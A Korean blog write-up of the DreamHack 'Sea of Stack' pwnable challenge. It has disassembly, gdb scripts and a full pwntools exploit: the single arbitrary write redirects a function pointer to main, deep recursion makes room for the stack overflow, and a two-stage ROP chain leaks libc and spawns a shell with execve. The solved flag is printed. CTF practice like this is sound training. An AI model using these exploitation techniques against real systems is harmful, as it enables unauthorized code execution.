[🥈 Silver 2] 스택을 깊이 파고들어 거대 오버플로우 되살리기 — DreamHack Sea of Stack 풀이

2026-10-17·1분 읽기·

[🥈 Silver 2] 스택을 깊이 파고들어 거대 오버플로우 되살리기 — DreamHack Sea of Stack 풀이

한 번뿐인 임의 쓰기로 safe 함수 포인터를 main 으로 덮어 재귀를 만들고, 스택을 1500층 내려가 unsafe_func 의 read(0x10000) 가 가드 페이지에 닿지 않게 만든 뒤 터뜨린다. puts 릭으로 libc 를 구하고 execve 로 셸을 띄우는 Silver 2 pwnable.

문제: DreamHack — Sea of Stack 분류: pwnable 난이도: 🥈 Silver 2 FLAG: DH{3a6305f3c1bfc54e84087fd74013dbd95eb71dbfeabf65086024455d05372736}

제목이 먼저 말을 건다. "스택의 바다." 오버플로우를 크게 내긴 하는데, 얕은 곳에서 내면 스택 꼭대기 너머로 흘러 넘쳐 익사(SIGSEGV)해 버린다. 그러면 깊은 곳으로 내려가서 터뜨리면 된다.

보호 기법부터 확인한다.

file extracted/deploy/prob && pwn checksec extracted/deploy/prob
file 과 pwn checksec 으로 확인한 prob 바이너리 보호 기법 — Full RELRO, No canary, NX, No PIE, SHSTK/IBT 표시
file 과 pwn checksec 으로 확인한 prob 바이너리 보호 기법 — Full RELRO, No canary, NX, No PIE, SHSTK/IBT 표시

No PIE 라 주소가 고정이고, Full RELRO 라 GOT 는 못 건드린다. 카나리는 없다. SHSTK·IBT(CET)는 ELF 노트에 광고만 돼 있을 뿐 실제 드림핵 실행 환경에서는 강제되지 않아, 평범한 ret2plt ROP 가 그대로 통한다.


문제 개요

항목내용
문제명Sea of Stack
난이도🥈 Silver 2
분류pwnable
제공 파일prob(No PIE/Full RELRO/NX/No canary), libc.so.6(glibc 2.35), Dockerfile
핵심 취약점한 번뿐인 임의 쓰기 → 함수 포인터 재배치 → 깊은 재귀로 스택 BOF 되살리기

공격 흐름은 세 박자다.

  1. key == "Decision2Solve" 를 통과하면 딱 한 번 *where = what 임의 쓰기가 열린다. 이것으로 safe 함수 포인터를 main 으로 덮는다.
  2. 메뉴에서 1 을 고르면 *safe 가 호출되는데, 이제 그게 main 이라 재귀가 된다. 1500번쯤 반복해 스택을 깊이 판다.
  3. 깊은 곳에서 2 를 고르면 unsafe_func 의 read(0x10000) 이 가드 페이지에 닿지 않고 들어맞아, 정상 복귀하면서 저장된 복귀 주소를 덮는 스택 BOF 가 완성된다.


🔬 코드 정찰 — main 과 두 개의 함수 포인터

main 의 핵심 구간을 디스어셈블한다. 임의 쓰기 분기와 메뉴 디스패치가 한눈에 들어온다.

objdump -d -M intel --start-address=0x401480 --stop-address=0x401520 extracted/deploy/prob | sed -f solve/caps/annot_main.sed
objdump 로 본 main 디스어셈블리 — strcmp 매직 검사, gotPresent 1회 제한, mov [rdx],rax 임의쓰기, call *safe / call *unsafe 디스패치에 주석
objdump 로 본 main 디스어셈블리 — strcmp 매직 검사, gotPresent 1회 제한, mov [rdx],rax 임의쓰기, call *safe / call *unsafe 디스패치에 주석

읽어 보면 이렇다.

  • strcmp(key, "Decision2Solve") 가 맞고 gotPresent == 0 이면, 8바이트 where 와 6바이트 what 을 읽어 *where = what 을 한 번 실행하고 gotPresent = 1 로 잠근다. 단 한 번뿐인 임의 쓰기다.
  • 메뉴에서 1 → rdx = *safe(0x404010) 후 call rdx, 2 → rdx = *unsafe(0x404018) 후 call rdx.
  • safe·unsafe 는 .data 에 놓인 함수 포인터다. Full RELRO 는 GOT 만 잠그지 .data 는 그대로 쓰기 가능이라, 한 번뿐인 임의 쓰기의 과녁으로 안성맞춤이다.

이제 두 함수 포인터가 가리키는 실제 함수를 본다.

objdump -d -M intel --start-address=0x4013f0 --stop-address=0x401446 extracted/deploy/prob | sed -f solve/caps/annot_unsafe.sed
objdump 로 본 safe_func 와 unsafe_func — safe 는 0x29 바이트만 read 하고 memset, unsafe 는 0x20 프레임에 0x10000 바이트 read 하는 오버플로우
objdump 로 본 safe_func 와 unsafe_func — safe 는 0x29 바이트만 read 하고 memset, unsafe 는 0x20 프레임에 0x10000 바이트 read 하는 오버플로우

safe_func 는 0x30 프레임에 0x29 바이트만 읽고 0x28 을 memset(0) 한다 — 복귀 주소에 닿지 않으니 진짜로 "안전"하다.

unsafe_func 는 0x20 프레임에 0x10000 바이트를 읽는다. 복귀 주소까지 거리는 rbp-0x20 에서 rbp+8 까지 0x28 바이트. 오버플로우 자체는 명백한데, 문제는 그 거대한 읽기를 어떻게 크래시 없이 끝내느냐다.


💣 핵심 1 — 한 번뿐인 임의 쓰기로 *safe = main

과녁은 정해졌다. where = &safe (0x404010), what = main (0x401446). 매직 키를 넣고 8바이트 주소와 6바이트 값을 밀어 넣으면 safe 함수 포인터가 main 으로 바뀐다.

실제로 쓰기 직후 함수 포인터 상태를 gdb 로 확인한다. 쓰기 명령(0x4014cd) 직전에서 멈춰 읽는다.

# solve/caps/arb.gdb
set pagination off
break *0x4014cd
run < solve/caps/arb_input.bin
printf "*safe   (0x404010) = %p    <- main(0x401446) 으로 덮임\n", *(void**)0x404010
printf "*unsafe (0x404018) = %p    <- 그대로(unsafe_func 0x401426)\n", *(void**)0x404018

입력은 Decision2Solve\x00\x00 + p64(0x404010) + p64(0x401446)[:6] 이다.

gdb -q -iex "set debuginfod enabled off" -batch -x solve/caps/arb.gdb ./extracted/deploy/prob
gdb 로 확인한 임의쓰기 직후 함수 포인터 — safe 가 0x401446(main) 으로 덮이고 unsafe 는 0x401426 그대로
gdb 로 확인한 임의쓰기 직후 함수 포인터 — safe 가 0x401446(main) 으로 덮이고 unsafe 는 0x401426 그대로

*safe = 0x401446 으로 바뀌었다. 이제 메뉴에서 1 을 고르면 safe_func 대신 main 이 불린다. 한 번 더 1 을 고르면 그 안에서 또 main. 재귀가 열렸다.


🌊 핵심 2 — Sea of Stack: 얕으면 익사한다

unsafe_func 로 곧장 들어가 보면 왜 문제 이름이 "스택의 바다"인지 알 수 있다. 얕은 상태에서 read(0x10000) 을 그대로 돌리면 어떻게 되는지 gdb 로 재현한다.

# solve/caps/crash.gdb
set pagination off
run < solve/caps/crash_input.bin
x/i $pc
printf "fault write ptr (rdx) = %p   현재 rsp = %p\n", $rdx, $rsp
bt 3

입력은 매직 불일치 키(WRONGKEY00000000) + 메뉴 2 + A 범람이다. read_input 은 버퍼에서 높은 주소 방향(스택 꼭대기)으로 한 바이트씩 쓴다.

gdb -q -iex "set debuginfod enabled off" -batch -x solve/caps/crash.gdb ./extracted/deploy/prob
gdb 로 재현한 얕은 unsafe_func 크래시 — read_input 의 mov %al,(%rdx) 에서 SIGSEGV, 쓰기 포인터 rdx 가 0x7ffffffff000 가드 페이지에 닿음
gdb 로 재현한 얕은 unsafe_func 크래시 — read_input 의 mov %al,(%rdx) 에서 SIGSEGV, 쓰기 포인터 rdx 가 0x7ffffffff000 가드 페이지에 닿음

read_input+114 의 mov %al,(%rdx) 에서 터졌고, 쓰기 포인터 rdx 는 0x7ffffffff000 — 스택 매핑 바로 위의 가드 페이지다. 얕은 프레임에서는 꼭대기까지 공간이 0x10000 보다 좁아서, 읽기를 끝내기도 전에 넘쳐 익사한다. 복귀 주소를 덮을 기회조차 없다.

해법은 반대 방향이다. 스택을 깊이 내려가면 프레임 위로 꼭대기까지의 여유(headroom)가 넓어진다. main 재귀 한 층이 rsp 를 약 0x40 씩 내리므로, 1500층이면 0x40 × 1500 ≈ 0xea60 을 훌쩍 넘는 여유가 생겨 0x10000 쓰기가 가드에 닿지 않고 깔끔히 끝난다.

Sea of Stack 개념도 — 얕은 호출은 0x10000 write 가 가드 페이지에 닿아 SIGSEGV, 깊은 다이브는 headroom 이 0x10000 보다 넓어 정상 수용 후 ROP 성립
Sea of Stack 개념도 — 얕은 호출은 0x10000 write 가 가드 페이지에 닿아 SIGSEGV, 깊은 다이브는 headroom 이 0x10000 보다 넓어 정상 수용 후 ROP 성립

정리하면, unsafe_func 의 오버플로우를 쓸 수 있는 BOF 로 "되살리는" 열쇠가 바로 재귀 깊이다.



🎯 익스플로잇 설계 — 다이브 후 2단 ROP

깊은 곳에서 BOF 가 서면, 복귀 주소(buf 에서 0x28)부터 ROP 체인을 올린다. No PIE 라 바이너리 가젯 주소는 고정이지만 libc 는 ASLR 로 움직이니, 1단에서 libc 를 흘리고 2단에서 셸을 띄우는 2단 구성이 자연스럽다.

  • 1단 (ret2plt 릭): puts(puts@got) 로 libc 의 puts 실측 주소를 흘린다. 정렬용 ret 하나를 끼우고 main 으로 복귀한다. 복귀해도 깊은 스택은 유지된다.
  • 2단 (execve): 여전히 깊은 상태에서 다시 unsafe BOF 를 내 execve("/bin/sh", NULL, NULL) 로 셸. system 대신 execve 를 쓰는 이유는, 오버플로우로 아래쪽 스택·환경이 엉망이 된 상태라 환경을 타지 않는 직통 호출이 안전하기 때문이다.

쓰는 가젯은 바이너리에서 pop rdi ; nop ; pop rbp ; ret(0x40129b)·ret(0x40101a), libc 에서 pop rsi ; ret(+0x2be51)·pop rdx ; pop rbx ; ret(+0x90529) 이다. ROPgadget 으로 각각 덤프해 두고 필요한 가젯만 추린다.

ROPgadget --binary extracted/deploy/prob          > solve/caps/gadgets_prob.txt
ROPgadget --binary solve/caps/system_libc.so.6    > solve/caps/gadgets_libc.txt
grep -E " : (pop rdi ; nop ; pop rbp ; ret|ret)$"       solve/caps/gadgets_prob.txt
grep -E " : (pop rsi ; ret|pop rdx ; pop rbx ; ret)$"   solve/caps/gadgets_libc.txt
ROPgadget 덤프에서 grep 으로 추린 ROP 가젯 — 바이너리의 pop rdi/ret, libc 의 pop rsi/pop rdx;pop rbx 주소
ROPgadget 덤프에서 grep 으로 추린 ROP 가젯 — 바이너리의 pop rdi/ret, libc 의 pop rsi/pop rdx;pop rbx 주소

libc 가 두 개인 함정

Dockerfile 을 보면 RUN export LD_PRELOAD='/libc.so.6' 이 있는데, 이건 빌드 단계의 셸 변수라 런타임 CMD 에는 전혀 상속되지 않는다. 즉 서비스는 제공된 libc 가 아니라 베이스 이미지의 시스템 libc 로 돈다. 다행히 두 libc(제공 2.35-0ubuntu3.1 vs 시스템 2.35-0ubuntu3)는 우리가 쓰는 오프셋이 전부 같아서 결과적으로 무해하다 — 하지만 확인은 하고 넘어간다.

python3 solve/caps/libc_check.py
libc_check.py 실행 — 제공 libc(0ubuntu3.1) 와 시스템 libc(0ubuntu3) 의 puts/system/execve/read/bin-sh 오프셋이 전부 SAME
libc_check.py 실행 — 제공 libc(0ubuntu3.1) 와 시스템 libc(0ubuntu3) 의 puts/system/execve/read/bin-sh 오프셋이 전부 SAME
▶🐛 삽질 — 동기화를 시간(sleep)으로 맞추다 비결정적으로 멈췄다

처음엔 재귀 1500층을 한 번에 다 밀어 넣고 recvrepeat(1.2) 로 메뉴 출력이 잦아들 때까지 기다리는 식으로 동기화했다. 로컬에서 한 번은 됐는데, 다시 돌리면 같은 코드가 응답 사이 간격을 잘못 재 무한정 멈추는 일이 재연됐다. 네트워크 구간이 끼면 더 심했다.

문제는 read_input(16바이트)과 read_number(14바이트)가 정확한 바이트 수를 소비한다는 점을 활용하지 못한 것이었다. 시간 기반 대기를 버리고, 프롬프트 > 가 올 때마다 다음 한 조각을 보내는 recvuntil(b'> ') 락스텝으로 바꾸니 TCP 단편화와 무관하게 결정적으로 동작했다. 로컬·원격 모두 한 번에 통과했다.


🚀 Full Exploit

재귀 다이브와 2단 ROP 를 한 스크립트에 담았다. python3 solve/solve.py 는 로컬 도커, python3 solve/solve.py remote <host> <port> 는 원격이다.

#!/usr/bin/env python3
# Sea of Stack — DreamHack (Silver 2, pwnable)
import sys
from pwn import *
 
context.arch = 'amd64'
context.log_level = 'info'
 
BASE   = '/home/jinho/Dev/Hacking_Project/워게임/2_Silver_2/sea-of-stack'
REMOTE = len(sys.argv) > 1 and sys.argv[1] == 'remote'
# Dockerfile 의 LD_PRELOAD 는 런타임 무효 → 서비스는 시스템 libc 로 돈다.
# 제공 libc 와 시스템 libc 의 오프셋이 같아 어느 쪽으로 풀어도 동일하다.
LIBC_PATH = (BASE + '/extracted/deploy/libc.so.6') if REMOTE else '/tmp/container_libc.so.6'
libc = ELF(LIBC_PATH, checksec=False)
 
# --- binary (No PIE, base 0x400000) ---
MAIN     = 0x401446
SAFE     = 0x404010                       # &safe 함수 포인터
POP_RDI  = 0x40129b                       # pop rdi ; nop ; pop rbp ; ret
RET      = 0x40101a                       # ret  (16바이트 정렬용)
PUTS_PLT = 0x4010c0
PUTS_GOT = 0x403fa8
MAGIC    = b'Decision2Solve\x00\x00'       # 16바이트, 매직 널 종료
 
DEPTH = 1500                              # 재귀 깊이 (~0x40/층 >> 0x10000)
OFF   = 0x28                              # unsafe_func 복귀 주소 오프셋
BIG   = 0x10000                           # unsafe_func read 크기
 
def conn():
    if REMOTE:
        return remote(sys.argv[2], int(sys.argv[3]))
    return remote('127.0.0.1', 31337)
 
def payload(rop):
    return (b'A' * OFF + rop).ljust(BIG, b'A')
 
def enter_main(io, first=False):
    # 새 main 진입 상태. 키를 넣는다. 최초 호출에서만 *safe = main 임의쓰기.
    io.recvuntil(b'> ')                   # "If you really want...> "
    if first:
        io.send(MAGIC)                    # key (strcmp 통과)
        io.send(p64(SAFE))                # where (8바이트)
        io.send(p64(MAIN)[:6])            # what  (6바이트) -> *safe = main
    else:
        io.send(b'A' * 16)                # 매직 불일치 -> 쓰기 분기 스킵
    io.recvuntil(b'> ')                   # "Sea of Stack ... > " 메뉴
 
def exploit(io):
    # ---- 1단: 깊이 다이브 -> unsafe BOF -> puts 릭 -> main 복귀 ----
    enter_main(io, first=True)
    io.send(b'1')                         # choice 1 -> *safe == main -> 재귀
    for _ in range(DEPTH - 1):
        enter_main(io)
        io.send(b'1')
 
    enter_main(io)                        # 가장 깊은 프레임
    io.send(b'2')                         # choice 2 -> unsafe_func
    io.send(payload(flat(POP_RDI, PUTS_GOT, 0, PUTS_PLT, RET, MAIN)))
 
    leak = u64(io.recvn(6).ljust(8, b'\x00'))
    base = leak - libc.symbols['puts']
    if base & 0xfff:
        raise ValueError('unaligned leak %#x' % leak)
    libc.address = base
    log.success('puts@got leak = %#x   libc base = %#x', leak, base)
 
    # ---- 2단: 여전히 깊음 -> unsafe BOF -> execve("/bin/sh", 0, 0) ----
    enter_main(io)                        # main 이 여기로 복귀, 다이브 유지
    io.send(b'2')
    binsh       = next(libc.search(b'/bin/sh\x00'))
    pop_rsi     = libc.address + 0x2be51  # pop rsi ; ret
    pop_rdx_rbx = libc.address + 0x90529  # pop rdx ; pop rbx ; ret
    execve      = libc.symbols['execve']
    io.send(payload(flat(POP_RDI, binsh, 0,
                         pop_rsi, 0,
                         pop_rdx_rbx, 0, 0,
                         execve)))
 
def main():
    io = conn()
    exploit(io)
    io.sendline(b'echo PWNED_$((21*2)); id; cat /flag')
    resp = io.recvrepeat(3)
    sys.stdout.write(resp.decode(errors='replace'))
    if b'PWNED_42' in resp or b'DH{' in resp:
        if REMOTE and sys.stdin.isatty():
            io.interactive()
        io.close()
        return True
    io.close()
    return False
 
if __name__ == '__main__':
    sys.exit(0 if main() else 1)

프로토콜을 recvuntil(b'> ') 락스텝으로 끌고 가는 게 요령이다. read_input 과 read_number 가 각각 정확한 바이트 수를 소비하므로, 프롬프트에 맞춰 한 조각씩 보내면 TCP 단편화와 무관하게 1500층 다이브가 결정적으로 돌아간다.

먼저 로컬 도커로 검증한다.

python3 solve/solve.py
solve.py 로컬 실행 — puts@got 릭, libc base, PWNED_42, uid=sea_of_stack, 로컬 더미 플래그 출력
solve.py 로컬 실행 — puts@got 릭, libc base, PWNED_42, uid=sea_of_stack, 로컬 더미 플래그 출력

릭이 깔끔히 정렬되고(& 0xfff == 0) 셸을 잡아 uid=1000(sea_of_stack) 과 로컬 더미 플래그까지 확인된다. 이제 원격으로 올린다.



🏁 원격 플래그

같은 스크립트를 라이브 서버에 그대로 조준한다. 단일 연결로 1단 릭 → 2단 execve 가 한 번에 통한다.

python3 solve/solve.py remote host3.dreamhack.games 16381
solve.py 원격 실행 — 라이브 서버에서 puts 릭, libc base, PWNED_42, uid=sea_of_stack, 실제 DH 플래그 출력
solve.py 원격 실행 — 라이브 서버에서 puts 릭, libc base, PWNED_42, uid=sea_of_stack, 실제 DH 플래그 출력
DH{3a6305f3c1bfc54e84087fd74013dbd95eb71dbfeabf65086024455d05372736}

📝 결론

한 번뿐인 능력은 "고정점"에 쓴다.

임의 쓰기가 단 한 번이면 보통 아깝지만, 여기서는 .data 의 함수 포인터 하나를 main 으로 바꾸는 데 쓰는 것만으로 무한 재귀라는 새 원시(primitive)가 열렸다. GOT 가 잠겨 있어도 Full RELRO 밖의 쓰기 가능한 포인터는 늘 남는다.

오버플로우는 크기보다 "위치"다.

같은 read(0x10000) 인데 얕으면 익사하고 깊으면 무기가 된다. 스택의 어느 깊이에서 터뜨리느냐가 성패를 갈랐다. 재귀로 여유 공간을 벌어 가드 페이지를 피한 발상이 이 문제의 전부다.

동기화는 시간이 아니라 구조로 맞춘다.

read 가 정확한 바이트 수를 소비한다는 사실 하나로 recvuntil 락스텝이 성립했다. sleep 기반 동기화는 로컬에선 통해도 네트워크가 끼면 비결정적으로 무너진다 — 프로토콜의 결정적 경계를 찾아 거기에 맞추는 게 언제나 더 튼튼하다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥈 Silver 1] std::copy 힙 오버플로우로 함수 포인터 덮기 — DreamHack cpp_container_1 풀이
blog

[🥈 Silver 1] std::copy 힙 오버플로우로 함수 포인터 덮기 — DreamHack cpp_container_1 풀이

C++ std::vector 를 다루는 pwnable. copy_container 의 std::copy 가 목적지 용량을 검사하지 않아, src 를 크게 resize 한 뒤 복사하면 인접한 Menu 객체의 함수 포인터를 getshell 로 덮을 수 있다. No PIE 라 주소가 고정이고, 다음 루프의 menu->fp() 호출이 곧바로 셸을 띄운다.
#dreamhack#ctf#pwn+5
2026-10-16#dreamhack +4
[🥉 Bronze 2] GOT가 잠겨 있으면 ld.so를 본다 — DreamHack Overwrite _rtld_global 풀이
blog

[🥉 Bronze 2] GOT가 잠겨 있으면 ld.so를 본다 — DreamHack Overwrite _rtld_global 풀이

Full RELRO에 PIE까지 걸린 바이너리가 임의 주소 쓰기를 무제한으로 내준다. GOT는 읽기 전용이라 손댈 수 없지만, ld.so의 전역 구조체 _rtld_global은 RELRO 밖에 있고 프로그램이 종료될 때 _dl_fini가 그 안의 함수 포인터를 부른다. 인자와 호출 대상이 같은 구조체 안에 있어서 쓰기 두 번이면 셸이 뜬다.
#dreamhack#ctf#pwn+6
2026-07-28#dreamhack +4
[🥉 Bronze 3] 반환 주소 대신 "열 파일 이름"을 덮는다 — DreamHack bof 풀이
blog

[🥉 Bronze 3] 반환 주소 대신 "열 파일 이름"을 덮는다 — DreamHack bof 풀이

scanf("%144s") 로 스택 버퍼를 넘치는 전형적인 오버플로 문제. 그런데 덮을 것은 반환 주소가 아니다. 버퍼 바로 아래에 read_cat() 이 open() 할 파일명 "./cat" 이 놓여 있어서, 그 자리를 "flag" 로 덮으면 프로그램이 알아서 flag 파일을 열어 출력한다. 버퍼와 파일명 사이 거리 0x80 만 맞추면 끝.
#dreamhack#ctf#pwn+5
2026-07-07#dreamhack +4